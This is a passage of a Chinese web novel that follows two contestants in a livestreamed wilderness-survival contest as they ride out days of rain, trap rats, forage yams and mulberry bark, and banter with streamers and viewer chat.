【就是她,干翻主播,是风都追不上的女人!】
【打野女王!】
【难怪大家叫她冷场姐,看起来真的好高冷啊。】
【想听听冷姐说话。】
老帅看了一眼直播间,将镜头对准木香,想让她说两句话:“冷姐,你在烤什么呢?”
冷场姐两耳不闻窗外事,一心只有烤山药。
气氛有点儿尴尬,钟臣溪赶紧说:“这是山药片,木香说烤干了容易保存。”
【木香?】
【木香是谁?】
【谁是木香?】
老帅于是问:“臣溪,木香是99号的名字吧?”
“对的。”钟臣溪一脸真诚:“我觉得她的名字很好听,所以我就这么叫她了。”
这不比99号或者□□好听啊。
钟臣溪这话说得自然,而木香动作却一顿。她皱眉,很想拿线把这小子嘴缝上。
果不其然,直播间炸锅了。
【妈咪咪呀!小沪爷叫她木香,小沪爷说她名字好听~】
【我闻到了CP的味道!】
【恋爱脑叉出去!这里是荒野求生,不是荒野恋综!】
【请专注于99号的实力!】
【没错,我们打野女王不需要情情爱爱!】
“确实挺好听的,不过我还是倾向于叫她冷姐。”老帅笑得有点卑微,今天冷场姐还没跟他说一句话。
真的好冷啊。
没办法,老帅只好跟钟臣溪聊了起来:“臣溪,你这是要编一个新的竹筐吗?”
“这次我打算编一个竹篮,用来装山药片。”
钟臣溪这话一出,直播间又是哇声一片。
【哎哟哟,冷场姐烤山药片,小沪爷立马给她编个篮子!】
【禁止恋爱脑!这叫做合理分工!】
【有一说一,Q2组合是最和谐的。这几天很多组合因为吵架退赛了。那个铁牛兄弟组合本来是种子选手,结果兄弟两闹矛盾,弟弟退赛了。】
【铁牛兄弟是真可惜。兄弟两个人都很强,原本综合实力可以说是前三,现只剩哥哥了,搞不好前二十都难进。】
老帅看到网友的留言,灵光一动,问:“臣溪,问你一个问题啊,你和冷姐是随机组合,之前也不认识,你们平时相处怎么样?会不会有一些小摩擦?”
“小摩擦啊……”钟臣溪微楞,他欲言又止,还偷偷瞄了木香一眼。
这画面被大家看到,老帅忍着笑问:“如果不方便的话,可以不回答。”
“也不是不方便。”钟臣溪又看向木香,小心翼翼问:“木香,我实话实说,你不会生气吧?”
“……”木香抿了抿嘴,冷声道:“不会。”
得到木香的保证,钟臣溪才打开话夹子;“你们都看到了,情况就是这么一个情况,木香她性格比较霸道。”
木香手上的动作一顿。她霸道吗?她哪里霸道了?
“比如说平时分配任务,她很少和我商量,她会直接下命令,你去干什么、你把这个做一下,你把那个做一下就这样子。”
木香低头沉
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思:仔细回想,好像是这样子。这就算霸道了吗?她也只是提议,不算强迫吧?
老帅一脸了然,他有几分同情钟臣溪了:“如果遇到这种情况,你会怎么面对?你们会发生冲突吗?”
结果钟臣溪立马摇头:“没有冲突啊?当然不会啊,她让我做什么我就去做呗。”
老帅一呆:“那你很听话哦。”不得不说,小沪爷脾气是真的好。
钟臣溪一脸理所当然:“没办法啊,她在荒野这一块比我强,我不得听她的?”
花开富贵带着她的豪华游艇姗姗来迟。
【花开富贵送出一艘豪华游艇。】
花开富贵;【小溪好样的,咱干不过别人就跟着别人干。妈妈还是那句话,跟着狗吃屎,跟着狼吃肉,你就跟着99号吃肉!】
【话糙理不糙。】
【小沪爷自我认知明确,他能力虽然不强,但他听话肯干啊!】
【Q2组合必胜!】
老帅又问木香:“冷姐,你对自己队友有什么看法?”
木香头也不抬,很平静的说出三个字;“还凑合。”
直播间全是“哈哈哈”。
老帅没招了,又跟钟臣溪聊了一会儿才离开。
这一整天雨都在下,直到下午才停了。
趁着雨停,木香让钟臣溪去附近收集草,把房顶再加盖一层。
“有必要吗?咱们这个屋顶已经够厚了吧。”
木香本不想搭理,但回忆起22号说她霸道,还是解释了一句:“大雨顶不住,有备无患。”
钟臣溪去收集草叶,木香则去打柴。附近已经没有比较粗的枯木,木香看不上小树枝,于是跑得远了一些。
她找到了一株碗口粗的枯木,把它砍断扛回来,返程的时候天已经有些暗了,又下了雨。
虽然冲锋衣裤防水,但木香鞋袜还是湿透了。
她拖着枯木往山下走,眼前的林间一片雨雾阴霾,让人心情也跟着蒙了一层灰。
就在这时,她隐约听到有人大喊她的名字:“木香,木香?”
木香一怔,这一瞬间,她似乎穿越时空,回到了曾经居住的山中。
每当她从山上回来,若是回家晚了,母亲就会这样喊她。
那是呼唤她回家的声音。
但很快,木香在怅惘中回过神来,这是白胖子的声音,她并不回应,只是朝着声音的方向走去。
正在往山上走的钟臣溪很快发现了木香的身影,他一脸惊喜;“你回来了!天快黑了,我正想去找你。”
木香把枯木扔给钟臣溪:“以后不要去找我。”
枯木有点重,钟臣溪扛起木头,歪歪扭扭跟在后面,有点不高兴:“我是担心你才去找你,你说一声谢谢不就好了吗?”
“……”
木香沉默了一会儿,向他解释:“我认识路,就算是天黑也能回来。但你有可能迷路。”
也就是说,钟臣溪上山去找她,很可能会帮倒忙,给她找麻烦。
“……哦。”钟臣溪闷闷的点头:“知道了。”
原来,她是嫌弃他呀。
19. 第九天
晚上,雨越下越大,正如木香预料的一样,屋里有一两处地方开始漏雨。
不过他们运气好,漏雨地方不在床的位置。
接连两个晚上下雨,山里的温度变得更低,到了晚上越发寒冷。钟臣溪把衣服都穿上,坐在火塘边都觉得后背发寒。
他怀疑凌晨的温度可能只有五度。
现在才十月出头,南方城市里还算夏天,没想到山里这么冷。看来,他得抓紧时间,等天一晴,就把剩下的东墙和南墙用泥封起来。
这样的话,屋里会更暖和一些。
这晚钟臣溪守后半夜,前半夜因为太冷,他没睡好,反倒是后半夜木香躺在床上,安安静静睡得香。
钟臣溪不得不服,这女人心态真好。
第九天,雨小了一些,细雨蒙蒙,但还是没停。
下着雨,他们就没办法出门。雨天山路湿滑,容易出事。如果淋雨生病,那就得不偿失了。
好在他们的食物充足,家里的野菜、野果、菌子不多了,但还存着许多山药大薯土茯苓。
木香怕存在地下的山药被水浸烂,又把它们挖出来,放在屋里。屋里有火,除了漏雨的那两个地方,其他地方还算干燥。
这一天,木香继续烤山药片,还做了几个捕鼠竹夹。钟臣溪又编了个竹筐。
到了下午,雨停了。
钟臣溪赶紧出去找树叶加厚屋顶。
木香见天快黑了,也没走远,便在附近找树枝木柴。
过了小半个时辰,木香背着一筐柴火回来,
钟臣溪还没回来,木香走近门,忽然脚步一顿,她似乎听到了屋里有什么声音。
她停下动作,仔细听里面动静。
“吱吱~”叫声急促慌张。
木香眼中光芒一闪,她迅速竹筐放下,然后放轻脚步,快速进屋,她蹲下身子,目光往床底一扫,果然发现她床底下的捕鼠竹夹子被触发,竹竿闭合,夹住了一只山耗子的尾巴。
那山耗子正奋力想要把自己的尾巴拉出来。
它看到有人进来,更是拼命挣扎,眼看就要逃脱,木香随手捡起一个木柴,人趴到地上,朝着山耗子狠狠一棍!
“吱!”
山耗子气绝而亡!
木香捏着山耗子的尾巴,去山泉那里清理它。
木香回来时,钟臣溪正在往屋顶上加草叶。
屋顶的最高处还不及他的身高,所以钟臣溪干这活很方便。
钟臣溪看到木香手里的东西,顿时两眼放光,他大叫一声:“肉!”
“……”
钟臣溪丢下手里的活,跑到木香跟前,兴奋地叽叽喳喳:“木香木香,你怎么搞到的?你刚才去山里了?”
有肉吃,木香想心情也不错:
“屋里的捕鼠竹夹抓住的。这几天下雨,山耗子也找不到吃的,我们屋里食物多,刚才我们两个出门,它们就跑出来了。”
“太好了。以后我们在家里和附近多放一点机关。”
“……随你。”但这样一来,被夹到的也许就不是山耗子了。
钟臣溪继续去加厚屋顶,木香煮了一锅山药肉汤。
天慢慢黑了,雨又开始下了。
连着下了两天雨,山里潮气很重,也越来越冷。刚才在屋外加厚屋顶时,钟臣溪的心跟这天气一样阴沉沉的,但当回到家里,坐在火边,喝上一口热汤,他整个人像是被点燃的炭火,立马又火热了起来。
天黑没多久,雨又开始下了。
前半夜木香守夜,钟臣溪将自己浑身烤得暖烘烘的,他也不去睡,就坐在火堆前发呆。
而木香却忙碌起来,刚才天黑前,她往屋里搬了一些竹竿和树叶。
而现在,她要用这些材料搭建一个床盖子。
木香先前预留的四根床柱这个时候就有大作用了,木香只用把两条长竹竿固定在床柱上,就可以往上面铺树叶。
钟臣溪纳闷:“木香,你这是干啥?看起来真的不太吉利。”钟臣溪觉得这长条形的床加盖后像个棺材。
木香手上动作不停;“你自己做,竹竿树叶还有多的。”
“我不用了。我不担心。屋顶我加厚了好几层,都有十厘米厚了,不会漏雨的。”
“随你。”
木香不理他,一门心思搭建床盖。接连几天雨,屋顶积水太多,随时可能漏雨。
这个时候,床盖就可以发挥作用了。
有了双层遮挡,她就不用担心漏雨问题。
没过多久,外面的小雨转成了中雨。而且还越下越大。
虽然他们反复加固了屋顶,但是外面雨太大,还是有些地方开始漏雨。
上半夜是木香守夜,钟臣溪把自己浑身烤得暖洋洋的,打算去躺下小睡一会儿时,发现自己的床湿漉漉的。
他抬头一看,只见床上方屋顶有一个地方正滴答滴答漏雨。
雨水落到床上,将一片干草全部打湿了。
这床显然不能睡了,钟臣溪叹了口气,他目光一转,盯上了木香的床。
那张加了盖子的床,看上去非常的干燥、温暖,躺在上面一定很舒服吧。
奇怪,
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他之前怎么会觉得它像是棺材呢?这分明是宝床嘛。
木香上半夜守夜,而他下半夜守夜,他们可以错开用这张床,完全不冲突。
钟臣溪不自觉的靠近木香的床。
“你再靠近一点试试看?”木香背对着他,背后却长了眼。
钟臣溪一惊,他也不敢去碰木香的床了,讪讪的走到火边坐下,偷偷瞄了一眼木香。
她坐在火前,闭目养神。
钟臣溪于是拿了一根木柴,放进火塘里。
火塘里发出“噼噼啪啪”的声响,钟臣溪越听越困。好想躺在床上睡一会儿啊。
好一会儿,钟臣溪终于鼓起勇气:“木香,我跟你商量个事儿呗?”
“免谈。”木香两个字冷场。
“……”钟臣溪无奈,又不甘心:“为什么?反正你现在也不用啊,你要是用,我马上起来让给你啊。”
“脏。”
“……”这话钟臣溪无法反驳。这里的条件就这样,来这里九天了,他也就擦擦身体洗洗头,外衣没得换,内衣也就换了一次。
脏,肯定是脏的。每天干活砍树挖土不洗澡不换衣服,能不脏吗?
但……
“那我也没办法啊,你不也一样吗?”眼下这情况,不能洗澡没有衣服换,乌鸦不要笑话猪毛黑,都是一样的。
“是一样没错,但我不嫌弃我自己。”她可以接受自己脏,但不能接受另一个脏东西跑到她床上。
“……”
被嫌弃的钟臣溪耷拉了脑袋。
就在这时,木香忽然起身,几步走到钟臣溪的床;“湿的不多,床盖搭起来,撤掉湿草还能睡。”
她说着开始干活,钟臣溪一愣,他像是一只蚱蜢一样猛地跳起来:“哦哦哦,我听你的!”
一个不小心,头还撞到了屋顶,不过他一点不在意,嘿嘿笑着去帮忙。
两人一起干活,不一会儿就把床弄好了。
钟臣溪在硬邦邦的木床上美美睡了一觉,直到后半夜被木香踢醒。
下半夜,钟臣溪守夜,和昨晚一样,他听到山下传来许多嘈杂吵闹的声音。
他能猜到是怎么回事。
到现在为止,这场雨下了整整两天三夜,不少选手会面临缺少食物,庇护所漏雨、夜里寒冷的问题。
又冷又饿又淋雨的境况下,没有几个人能扛得住。
毕竟大家只是来参加比赛,不是来拼命的。
所以,这两天晚上有不少选手退赛。
钟臣溪估计,现在还剩的选手已经不足一半了。
20. 第十天(1)
第十天。
早上雨停了。
但山上草木挂水,地面泥泞湿滑,木香两人并没有去山林里找物资。
木香往竹筐里装了大半筐山药,让钟臣溪背到下面的山沟里去洗。
这一次,钟臣溪对木香的工作分配产生了强烈的质疑;“山上有山泉,干嘛要去山下沟里洗山药?”
他们家的位置距离下面山沟很远,来回得一两个小时,而山泉的位置就在家附近,过去十几分钟就够了。
这样舍近求远,他是吃饱了撑着吗?
木香瞥了他一眼:“让你去就去。”
“……”钟臣溪不服气了;“我之前听你的,是觉得你说得对。可你让我去山下洗山药,根本说不通,木香,你讨厌我就直说,不用这么整我吧?”
见白胖子跳脚,木香略略沉思,然后解释:“这座山的选手大部分都在山沟附近,你去看看,还剩多少人。”
钟臣溪恍然大悟,眼中闪出光芒:“我明白了,我这就去探查敌情。”
原来木香是想搞清楚,现在大概还剩多少人。
钟臣溪背着半筐山药,一路向下。连下了几天雨,山路很不好走,钟臣溪几次差点摔倒,他不得不放慢速度,小心翼翼下山。
这是钟臣溪在山上定居后第一次下山,大概走了十几分钟后,他遇到了第一个庇护所。
那个庇护所和他们家一样,是靠山石而建,不过它的房顶已经坍塌了,里面一片狼藉,没有一个人。
庇护所周围也看不到选手旗帜,看来这里已经被放弃了,很可能是它的主人已经退赛了。
钟臣溪继续向下,没多久就看到了巡查营地。
巡查员明子见了他很吃惊:“你下山了?有事吗?”
历经十日,Q2组合已经成了这场比赛的热门组合。
虽然人气很高,但这个组合十分神秘,他们是西区赛场上住得最高的组合,山上有水源,所以他们从不下山,几个主播去找他们也是经常扑空。上次老帅跟着他们上山打野,差点下不来山。
这件事让大家对这对组合更是另眼相看。
所以今天看到22号,明子很意外,他第一反应是22号要退赛,但马上又觉得不可能。
有99号护驾保航,22号稳进前二十啊,他没必要退赛。
“雨停了,我下山洗山药。”
“山上不是有水吗?”明子不解。
“……”钟臣溪有点尴尬:“顺便看看还剩多少人。”
“懂了。”明子了然了,连着三天下雨,温度骤降,这两天,那些没有经验,没有规划的体验型选手已经走得差不多了。
而剩下的选手,自然想要摸清楚竞争者的情况。
钟臣溪继续向下走,一路上又遇到了几个庇护所,大半都没人了。
无主的庇护所几乎零落的不成样子,木头竹子都被人捡走了,只剩下一些没人要的草叶。
赛方规则可以捡拾无主庇护所的木材草叶资源。但钟臣溪毫无兴趣,因为他家住在山上,从这里搬木材上去,那纯纯给自己找罪受。
终于,他到了水沟边。因为下雨,这条水沟的水量比他第一天进山时看到的要大了很多。
而水沟对面,有一个男选手正蹲在水边往水里寻找着什么,大美也在旁边。
山沟里有螃蟹,钟臣溪先前也想过下山摸螃蟹,但当木香带回葛根虫后就打消了这个念头。
螃蟹没有脂肪,吃了反而消耗身体的能量,还不如去山上搞蛋白质。所以一开始木香把庇护所位置选在山上真是太明智了。
大美正在直播那名选手摸螃蟹:“我们的虎弟很勤快啊,雨刚停马上就来抓螃蟹了。”
她正说着看到了往水边走来的钟臣溪,十分意外:“这不是Q2组合的臣溪吗?臣溪,你怎么来这里了?”
原本专心摸螃蟹的虎弟听到“Q2”组合动作一顿,他快速抬头,打量了一眼对面的选手。
来人半身泥泞,狼狈不堪,但一张脸白白净净的,浓眉大眼,体型微胖,看起来有点憨。
就这?也配跟他争冠军?
虎弟轻哼一声,低头继续摸螃蟹。
“我来洗山药。”钟臣溪也不拐弯抹角了:“顺便打探一下敌情,看看还剩多少人。”
“哈哈哈,那你打探到了什么?”
“感觉走了不少人。”他刚才估摸了一下,他一路走来只看到四五人,算上没看到的,不超过十个人,再加上水沟对岸山上的选手,赛场西区一共不会超过二十人。
三个赛区总计大概不超过六十人。
“下了几天雨,大家都不太好过。”大美没有透露信息。实际上整个赛场三个区加起来已经不到四十人了。赛场西区还剩十来人,
钟臣溪放下竹筐,拿出里面的山药开始洗,那大半筐山药,足足有一二十斤,大美十分惊讶:“这么多山药?难道你们下雨也去山上打野吗?”
“下雨天没法上山啊
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,这些山药是之前挖的,我们这几天都在家里烤山药片,还剩不少呢。洗干净回去切片烤干,可以保存很久。”
听到这,虎弟忍不住又看了钟臣溪一眼,目露震惊。
连着三天下雨,大家无法外出,不少人因为没有存粮退赛,而他们的存货却多得吃不完,甚至还怕坏了给烤干保存!
难怪,他总是从这些主播、工作人员口里听到他们提起“Q2组合”。
看来,人不可貌相啊,要么这个臣溪深藏不露,要么他的队友是个狠人!
Q2组合,果然是他夺冠路上的拦路虎!
大美也很震撼:“你们有这么多吃的啊?”
“也不多了,家里的野菜菌子都吃完了,只剩下一些拐枣了。”
“真不错哎。”
就在这时,虎弟猛地从水里抽出手,只见他手上捏着一只鸡蛋大小的螃蟹。
“好大的螃蟹,来个特写!”她说着把镜头凑近螃蟹。
虎弟却并不在意,把螃蟹往自己的竹篮子一扔:“这个头也就一般般吧,不过没关系,我一早上能抓十几只,够两人吃一顿了。”
“虎弟这生活水平真让人羡慕。”
“那是。我说句得罪人的话,在荒野比赛中,吃饱不算本事,吃得好才算真本事。”他看向钟臣溪,目光中略带挑衅。
钟臣溪的目光和他对上,立即就察觉出味来。
好家伙,这个虎弟是在讽刺他吗?
真逗,吃个螃蟹吃出优越感了?
这么玩是吧,那他可不客气了。
他一面装模作样洗山药,一面偷偷在水中搜寻起来。
而大美把镜头对准竹筐:“小伙伴们,看到了吗?现在已经有八九只大螃蟹了。42号虎弟的能力是有目共睹啊,才一会儿工夫就抓了这么多。”
这样过了几分钟,钟臣溪忽然叫了一声:“咦,是一只螃蟹。”
他说着把螃蟹从水中拿起来,这只螃蟹的个头和刚才虎弟抓的差不多。
大美立即将镜头对准钟臣溪:“大家快看,臣溪也抓到螃蟹了。”
钟臣溪举起螃蟹,叹了口气:“我是不吃螃蟹的,可惜啊,选手之间不能互送物资,否则我就把这只螃蟹送给虎弟了。”
他说完,把螃蟹往水里一丢,姿态潇洒利落,螃蟹咕咚一声落水,死里逃生。
这操作把周围的几个人都看呆了。
“臣溪,你就这么把食物给扔了?”大美一脸震惊。
21. 第十天(2)
“螃蟹肉很少,而且消化螃蟹还需要消耗的糖分和脂肪,我觉得得不偿失。补充蛋白的话,我们有更好的选择。”
他一边说着,一边看了虎弟一眼,虎弟脸色一沉,他当然看得出,这小子是在反击他。
连螃蟹都不吃,那他们吃什么?
虎弟不知道,但大美是知道的,Q2组合目前已经搞到了葛根虫、山鼠。
大美感叹;“看来臣溪对食物是一点不担心啊。”
虎弟被钟臣溪给气到了,他黑着脸,提着竹篮往上游走了一段距离,不想再听人炫耀。
大美跟钟臣溪打了声招呼:“冷姐在家吧,一会儿我去山上找你们。”然后,她继续去直播虎弟抓螃蟹了。
天晴了,选手们憋了几天,都忍不住出来透透气。
钟臣溪洗山药的时候,身边陆陆续续来了一些人,或是取水,或是清洗食物。
当他们从钟臣溪身边经过时,都忍不住站着脚步,盯着他的一堆山药看。
那羡慕的目光,根本掩饰不住。
这时,大美又回来了,她在一旁直播着这一幕,直播间的网友们都笑翻了。
【6,被我说中了吧,小沪爷下山目的不纯,看吧,一筐山药,这不得把其他选手馋哭啊。】
【原来小沪爷不是实力派,而是智取派。他这是来搞其他选手心态了。】
【是啊,越是后面心态越是重要。】
【刚才虎弟好像被他气跑了。】
【这样是不是有点不善良啊?】
【别上高度啊,臣溪洗个山药合规合矩,没有一点毛病!】
【综合来说,龙武组合还是比Q2组合强一点。不过Q2组合在山上有优势,打野方便一些。这两个组合还有那个双生花组合进二十强吗没问题。】
钟臣溪忙忙碌碌半小时,赚了一波目光,背着洗好的山药上山了。
这会儿他也明白了,木香让他下山洗山药,目的没有那么简单。
大美跟在钟臣溪身后。昨天雨太大,几个主播摄影师都没有上山播Q2组合,只有巡查员明子哥去拍了一段视频。
今天雨停了,她正好跟上去看看。
等两人爬上山时,木香正在忙活。
她在屋子西侧约莫十米外的地方用竹竿围了一圈,做出一个锥形的小帐篷出来,外面用草叶盖住。
大美好奇得很,立即将镜头对准木香,靠近过去:
“冷姐,你这是在忙什么呢?”
木香没有急着回答,而是看了钟臣溪一眼,目光谴责。让他下山去攻心,回来怎么还带了个尾巴呢?
“……”被瞪的钟臣溪缩了缩脖子。
对于木香的冷场,大美已经习惯了,她笑眯眯的追问:“这看起来像是个小房子啊?”
大美一脸笑意盈盈的,木香不好再装哑巴:“恩,这是一个浴房。”这两天天气好,她打算擦洗一下。
大美震惊:“浴房?你,你这连浴房都有了?”
别的不说,Q2组合的生活条件肉眼可见的和其他组合拉开了差距。
别的组合还在考虑取暖、吃饱的问题,Q2组合已经开始讲究起来了。
眼看快到中午,钟臣溪开始煮午饭,等他做好山药汤,木香也把浴房搭建好了,还做了一个门。
大美没走,直播他们吃饭,和钟臣溪有一搭没一搭聊着。
“下午你们要做什么?”大美问。
钟臣溪抬头看了看天,天上无雨,太阳挂在正中,看来短时间内不会下雨了,他看了一眼木香:“我打算糊墙。木香,你呢?”
“我上山一趟。”下了这么久的雨,她放在山里的那些捕鼠竹夹早就被触发了,她得重新去布置。
大美望着木香,欲言又止,满脸挣扎。
她是想跟着冷场姐的,别说网友们想看了,她自己对冷姐打野的过程也十分好奇。
但老帅的教训还在眼前。她可不想当第二个荒野笑话。
见大美苦着脸,鞋子裤脚都是泥,木香有点心软了。她并不喜欢采访、拍摄和直播,但也明白这是这些人养家糊口的工作。
“今天时间不早了,我要快去快回,你跟不上我的。明天你早点来,跟我上山。”
大美双眼发光,猛地点头:“好,那就这么说定了,明天一早我就来!”
木香点头,又交代钟臣溪:“你下午只糊墙,不做别的,争取今天把剩下的两面墙糊好。明天也跟我上山。”
钟臣溪点头:“好。你放心,我今天一定把墙弄好!”
直播间热闹起来了:
【你没有没有觉得,刚才这一段,冷姐像是大姐大在对小弟们发号施令?】
【对对对,关键是大美和小沪爷都一本正经的点头,好好笑啊!】
【哈哈哈哈,大姐大和她的小迷弟小迷妹!】
花开富贵开着跑车来了:【花开富贵送出一辆跑车。】
不过这次,花开富贵并没有说话。
【花花姨,放心吧,小沪爷有冷姐罩着,日子越过越好了。】
……
一间装饰豪华的客厅里。
钟妈妈穿着一袭粉色的真丝睡袍,正坐在欧式皮沙发上打电话:“小海啊,你快看我给你发的链接,你弟弟正在直播呢。”
电话那头女子的声音优雅轻缓;“看了,妈,弟弟运气好,遇到高手组队,有房子住,有吃有喝,你还有什么好操心的?”
“我就是跟你说他那个队友,冷场姐。”
“妈,人家叫木香,冷场姐是她的外号。怎么,你对她感兴趣?”
“我知道,大家叫她冷姐,因为她看起来很高冷嘛。我就喜欢她这样的,有能力,人善良,你帮我找人查一查,看看她是哪里人,家里还有些什么人,有没有对象……”
“……妈,你上头了吧。弟弟和她只是组队比赛,他们之前根本不认识啊。你怎么跟那些恋爱粉一样,嗑起CP了?”
“我认真的。你不觉得臣溪对她有好感,很听她的话吗?”
“……妈,你先冷静冷静吧。这是弟弟的事情,你不要干涉太多。而且,随便调查别人资料,很不礼貌。我不会做这件事的。我一会儿还要见客户,挂了。”
钟月海迅速挂了手机,她望向平板,直播画面正对着木香。
画面里,木香背着一个竹筐,手里提着砍刀,往山上走去。
“木香,等等。”画面一转,她的那个傻弟弟追上木香,手里还拿着东西。
钟臣溪把那个东西递给木香:“给,这是我做的手套。”
木香低头看向他手里的东西,她没说话,接过手套,转头继续上山了。
女主播问:“臣溪,那是手套吗?你用什么做的手套?”
“袜子啊,袜尖割破,再打一个洞,那不就是露指手套了吗?”上山打野,手很容易被刺伤、割伤。
上次木香的手掌就是被石头割伤了。
所以钟臣溪用袜子做了一对手套,这样她就能少受点伤了。
‘……’女主播沉默三秒后问:“你,有脚气吗?”
直播间笑翻了:
【哈哈哈哈哈!】
【明明是应该感动的事情,我为什么想笑?】
【因为就是很好笑啊,哈哈哈哈!】
【希望小沪爷没脚气吧,可怜的冷姐。】
【小沪爷真是个暖男啊。】
【应该说,他是一个臭臭的暖男!】
看着直播画面,钟月海笑了起来。以前她从不看直播,直到弟弟瞒着家人去参加了这个比赛。
“加油啊弟弟,如果前二十都进不了,姐姐也会很丢脸的哦。”
……
这次没有尾巴,木香不需瞻前顾后,且这条路她已经很熟悉了,虽然地面有些湿滑,但影响不大。不到一个时辰,木香就到了之前下捕鼠竹夹的位置。
正如她预料的一样,因为连着几天雨,几个机关已经被触发,其中一个机关夹住一只山耗子,但可惜她两天没上山,那山耗子已经有点臭了。
木香把山耗子埋了,这个地方山耗子估计不敢再来了,她决定换一个地方。
没多久,她在不远处发现了几个新鲜的山耗子洞。山耗子洞洞口约莫茶碗那么大,上面还会覆盖一层新鲜的松土作为掩饰。
那些土是刚挖出来不久的,颜色状态和附近的土明显不同,一眼就能认出。
木香小心翼翼在几个洞口附近布置机关,加上她这次带的捕鼠竹夹子,她一共下了十多个捕鼠竹夹子。
做好这一切,木香就往山下走,一路下来边走边采了一些菌子,途中她还发现一株黄精,木香见天还没黑,估摸着来得及,便把把黄精挖了。
天色渐渐暗了下来,木香加快了脚步,这时,她发现了几株构树,那些构树上已经结了橙红的小果子。
构树是个好东西,不但果子可以吃,树皮还可以用来搓绳子。她先前制作的竹竿捕鼠竹夹子力道不够,容易失误,她打算把搓一些绳子制作更好的捕猎机关。
说干就干,木香砍了许多构树枝条,然后将它们捆好,抗在肩上下山。
这个时候,四面已经变得灰暗,脚下的路也有些看不
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清了。木香虽然急着回家,但也不得不放慢脚步。
她有点后悔,她刚才不该那么心急砍下这些构树枝的,等到明天再来砍也是一样。
幸好这山上没有猛兽,只要她认准方向,总能到家。
走了一会儿,木香没注意到脚下有一个小坑,脚下一歪,整个人往旁边翻过去,她迅速调整姿态,将身体重量向右压,让身体倒在构树枝丫上,避免摔伤。
不过她的脸颊还是被枝丫划了一道口子,伤口有点疼,但并没有流血。很快,木香重新背着东西下山,不过这次,她更加小心了。
也不知过了多久,她忽然听到山中响起一阵阵鸭叫,不对,是有人才唱歌。
这歌唱得很难听,因为唱它的人几乎是在用力嘶吼,曲调被唱的断断续续;
“我在仰望,月亮之上,有多少梦想在自由地飞翔!”
这一声撕心裂肺的吼叫穿破暮色和林木,直冲木香的耳朵,木香忍不住皱眉。
真难听啊,像是一只受惊的大鹅。
不过,歌虽然难听,但却让木香的心安定下来。
没多久,木香就出现在钟臣溪面前,见到木香的那一瞬,钟臣溪闭了嘴,他赶紧迎上去:“你,咳咳咳!”
因为刚才用嗓过渡,钟臣溪已经没办法正常说话了。
看着咳个不停的钟臣溪,木香抿了抿嘴,她没有说话,只是瞥了一眼还在直播的老帅。
这家伙先前不是话很多吗?今天怎么不说话了。
老帅像是领悟过来,急忙开口:“冷姐,你可算回来了,臣溪可着急了,他怕去找你错过了,只好唱歌来指引你方向。”
“不用担心,我认识方向。”说完木香又补充一句:“为了砍这些,耽误了点时间。”她说着将构树枝和竹筐放下。
老帅好奇;“这是什么?”
木香正要回答,钟臣溪却指着屋子说,声音嘶哑:“先去吃饭吧。”他看到了木香脸上受了伤,但痕迹很浅,应该不严重,所以也没急着问。
晚饭还是依旧是山药煮野菜,但木香吃得很香。
老帅也看到了木香脸上的痕迹:“冷姐,你受伤了?”
“不碍事。”木香淡淡的一句带过。
老帅又把外面的构树枝拿进来一条,问:“冷姐,这个能吃吗?”
正在吃东西的木香暂停动作,点头。
钟臣溪头一次觉得老帅话太多。人家木香刚回来,饭还没吃上,他在这里叽叽咕咕的不是纯纯碍事吗。
钟臣溪凑近老帅,抢过话头:”这个我知道,是构树,果子也叫楮实子,能吃。也是一味中药,可以养肝明目。”他说着摘了一个放进嘴里,嚼吧嚼吧:“有点甜有点酸,还行。”’
吃了几个果子,他继续说:“构树浑身都是宝哦,不仅果实能吃,它的叶子也能吃,不过不好吃,猪可以吃。”
老帅调侃道:“小沪爷,你懂得蛮多嘛。不像是城里人啊。”
“那当然啊,为了参加这个比赛,我提前做了两个月的准备呢。”
钟臣溪侃侃而谈,不让老帅去打扰木香。
转眼天黑透了,老帅一看七点多了,告别两人下了山。
火塘里的火烧得旺旺的,木香坐在火边吃构树果子,钟臣溪则按照她的吩咐,把构树皮一点点撕下来。
屋子的三面墙已经被泥土封好。门一关,屋里暖暖的。比之前好多了。
在入冬之前,他们不必担心寒冷的问题。不过如果下大雨,漏雨还是不能避免的。
最开始搭建房子的时候,木香考虑过把大竹筒劈开两半,然后上下两层对应错开叠在一起盖屋顶,就像是瓦片一样防雨。不过她很快放弃了,因为这周边的竹子太细,没办法劈开做屋顶。勉强只找到一两根粗的竹筒用来做锅和碗。
很快,钟臣溪剥下来不少树皮,木香将树皮外层的绿皮刮掉,然后将剩下的部分泡在水里。树皮泡水可以增加韧性,泡一夜水再晾干,就可以用来搓绳了。
钟臣溪憋不住了,他哑着嗓子问:“木香,我们食物这么多,没必要吃树皮吧?”
“用来做绳子。”木香瞥了一眼钟臣溪:“少说两句吧。”比公鸭叫还难听。
“哦。”
过了一会儿,他又忍不住问;“你做绳子干什么?”
木香不理他。
但钟臣溪不以为意,像鸭子一样嘎嘎不休起来:“是不是打算做套?那太好了,好久没吃肉了。”
“……”木香听得有点烦,她捡了个木头用力往火里面一扔,噼啪几声,钟臣溪瞄了一眼木香的脸,终于闭嘴了。
22. 第十一天
第十一天。
今天要上山打野,一早钟臣溪就开始煮饭,早饭是煮黄精,是昨天木香带回来的,再放上一把野葱,香喷喷的。
两人正吃着早饭,大美来了。
以防意外,出现老帅那种丢脸的情况,大美还带了巡查员明子一起。
等木香、钟臣溪准备好后,四人一道上山。
木香在前领路,今天她的速度放慢了一些,前几天下雨,菌子又爆出来不少,木香和钟臣溪一路捡一路走,捡了不少菌子。
这个时节最多的还是九月香、乌枞菌,偶尔能碰到一些鸡腿菌、竹荪菌。
虽然木香放慢了速度,但大美跟着还是吃力,只能在Q2组合捡菌子的时候歇口气,见缝插针跟直播间的网友们聊几句。
“小伙伴们,看,小沪爷在采蘑菇,看到了吗,地上有不少。”
大美一边说一边念直播间的留言:
“让小沪爷去上海卖,一朵菌子切成八片装盘,报价188。臣溪,你觉得这个主意怎么样?”
钟臣溪嘎嘎笑了两声,然后摇头:“还是算了吧,嘎嘎嘎。”
直播间们粉丝乐了;
【是谁在学鸭子叫?】
【嘎嘎嘎嘎嘎~】
花开富贵带着她的直升飞机来了;【小溪,你怎么变成鸭子了?】
大美忍着笑:“臣溪,你妈妈正在看直播,她很关心你的鸭子,哦不,我是说她很关心你的嗓子。”
【嘎嘎。鸭子在哪?拿出来看看?】
【嘎嘎嘎嘎~】
大美自己都憋不住了,笑得前俯后仰,钟臣溪挠挠头,对着镜头温和一笑;“妈,不用担心,我嗓子很快就好了。”
走在最前面的木香直摇头,嗓子都这样了,还嘎嘎个没完呢?
因为这个插曲,四人小队的气氛轻松起来,九点多的时候,他们到了木香昨天下套的地方。
